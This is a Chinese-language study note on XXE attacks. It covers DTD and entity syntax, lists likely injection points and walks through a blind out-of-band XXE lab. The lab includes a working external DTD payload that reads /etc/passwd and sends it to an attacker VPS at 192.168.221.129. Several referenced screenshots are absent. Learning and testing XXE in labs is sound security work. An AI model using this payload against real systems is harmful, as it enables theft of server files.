前言:
对于XXE始终是只知其意没实际利用过,再次重新学习一遍XXE。
XML:
在学习XXE之前要理解XML,关于XML的知识点网上很多,我只介绍关于XXE的相关概念,XXE的时候有三个关键词:
- XML声明 <?xml version ="1.0" encoding="UTF-8"?>
- DTD文档定义类型。
- 文档元素 <foo><note></note></foo>
DTD文档:
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD声明元素:
在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:
<!ELEMENT 元素名称 类别> [类别可为:EMPTY、(#PCDATA)、ANY]
<!ELEMENT 元素名称 (元素内容)>
注:其实就是定义元素用的,或者说定义一个对象中的<键>一样。
DTD声明实体:
<!ENTITY 实体名称 "实体的值">
注:其实DTD实体就是变量名 + 值,就是个实例,对象而已。
DTD文档例子截图:
内部DTD:
外部DTD:
内外结合DTD:
XML实体:
XML实体分为(普通实体、外部实体)、(参数实体,外部参数实体),如下图:注(引用的时候有分号;)
普通实体引入外部实体:
参数实体引入外部实体:
XXE的查找方法:
- Service为Xfire。
- 明显的XML作为内容的输入点。
- 某些JSON数据作为请求体的。
*Blind_OOB_XXE :
如果XXE有回显,那么可以直接利用,如果没有回显,就要用到Blind_OOB_XXE的方式进行利用了,实验环境靶机一台,攻击者VPS一台,攻击机一台:
首先将提交的用户名密码替换成xml文档,Content_type: text/xml后发现可以正常解析,说明可以发送XML文档同时后台可能有解析XML的代码。Blind_OOB_XXE的攻击路线如下:
攻击路线说明:首先攻击者发送payload1给靶机,靶机解析payload1,请求VPS的.dtd文件payload2,靶机解析payload2,带着执行结果发送到攻击者VPS,攻击者通过日志查看结果。
攻击者发送请求如下:
其中http://192.168.221.129:9090/xxe.dtd的内容为:
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://192.168.221.129:55555/pass=%p1;'>">
%p2;
在VPS上启动http服务,同时监听55555端口:
VPS中可以看到靶机的"/etc/passwd"文件内容,上述就是Blind_OOB_XXE的攻击链,当然可以使用其他比如FTP的方式请求VPS,都是一样的。
结语:
写的比较匆忙,内容也不全,仅作记录,后续补充。